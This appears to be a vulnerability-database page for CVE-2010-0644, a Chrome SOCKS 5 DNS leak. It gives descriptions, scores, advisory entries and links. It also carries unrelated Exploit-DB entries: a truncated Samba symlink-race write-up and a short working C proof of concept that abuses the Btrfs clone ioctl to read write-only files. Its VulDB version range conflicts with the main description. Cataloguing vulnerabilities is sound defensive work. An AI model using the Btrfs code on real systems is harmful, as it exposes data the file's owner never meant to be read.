CVE-2010-0644
published 2010-02-18CVE-2010-0644: Google Chrome before 4.0.249.89, when a SOCKS 5 proxy server is configured, sends DNS queries directly, which allows remote DNS servers to obtain potentially…
PriorityP417medium4.3CVSS 2.0
AVNACMAuNCPINAN
EPSS
0.86%
54.9th percentile
Google Chrome before 4.0.249.89, when a SOCKS 5 proxy server is configured, sends DNS queries directly, which allows remote DNS servers to obtain potentially sensitive information about the identity of a client user via request logging, as demonstrated by a proxy server that was configured for the purpose of anonymity.
Affected
47 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| chrome | <= 4.0.249.78 | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VulDB
Google Chrome up to 2.0.172.32 Proxy Server information disclosure (Nessus ID 44587 / ID 116891)
vuldb·2026-04-30·CVSS 4.3
CVE-2010-0644 [MEDIUM] Google Chrome up to 2.0.172.32 Proxy Server information disclosure (Nessus ID 44587 / ID 116891)
A vulnerability classified as problematic was found in Google Chrome up to 2.0.172.32. Impacted is an unknown function of the component Proxy Server. The manipulation results in information disclosure.
This vulnerability is known as CVE-2010-0644. It is possible to launch the attack remotely. No exploit is available.
Upgrading the affected component is advised.
GHSA
GHSA-prjv-5g97-fjwx: Google Chrome before 4
ghsa_unreviewed·2022-05-02
CVE-2010-0644 [MEDIUM] CWE-200 GHSA-prjv-5g97-fjwx: Google Chrome before 4
Google Chrome before 4.0.249.89, when a SOCKS 5 proxy server is configured, sends DNS queries directly, which allows remote DNS servers to obtain potentially sensitive information about the identity of a client user via request logging, as demonstrated by a proxy server that was configured for the purpose of anonymity.
No detection rules found.
Exploit-DB
Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory
exploitdb·2017-03-27·CVSS 3.5
CVE-2017-2619 [LOW] Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory
Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory
---
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039
The Samba server is supposed to only grant access to configured share
directories unless "wide links" are enabled, in which case the server is allowed
to follow symlinks. The default (since CVE-2010-0926) is that wide links are
disabled.
smbd ensures that it isn't following symlinks by calling lstat() on every
path component, as can be seen in strace (in reaction to the request
"get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share):
root@debian:/home/user# strace -e trace=file -p18954
Process 18954 attached
lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
getcwd("/public", 4096) = 8
lstat("/pub
Exploit-DB
Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass
exploitdb·2010-05-18
CVE-2010-1636 Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass
Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass
---
/*
source: https://www.securityfocus.com/bid/40241/info
The Linux Kernel is prone to a security-bypass vulnerability that affects the Btrfs filesystem implementation.
An attacker can exploit this issue to clone a file only open for writing. This may allow attackers to obtain sensitive data or launch further attacks.
*/
#include
#include
#include
#include
#define BTRFS_IOC_CLONE _IOW(0x94, 9, int)
int main(int argc, char * argv[])
{
if(argc < 3) {
printf("Usage: %s [target] [output]\n", argv[0]);
exit(-1);
}
int output = open(argv[2], O_WRONLY | O_CREAT, 0644);
/* Note - opened for writing, not reading */
int target = open(argv[1], O_WRONLY);
ioctl(output, BTRFS_IOC_CLONE, target);
}
http://code.google.com/p/chromium/issues/detail?id=29914http://googlechromereleases.blogspot.com/2010/02/stable-channel-update.htmlhttp://secunia.com/advisories/38545http://securitytracker.com/id?1023583http://sites.google.com/a/chromium.org/dev/Home/chromium-security/chromium-security-bugshttp://www.securityfocus.com/bid/38177http://www.vupen.com/english/advisories/2010/0361https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A13926http://code.google.com/p/chromium/issues/detail?id=29914http://googlechromereleases.blogspot.com/2010/02/stable-channel-update.htmlhttp://secunia.com/advisories/38545http://securitytracker.com/id?1023583http://sites.google.com/a/chromium.org/dev/Home/chromium-security/chromium-security-bugshttp://www.securityfocus.com/bid/38177http://www.vupen.com/english/advisories/2010/0361https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A13926
2010-02-18
Published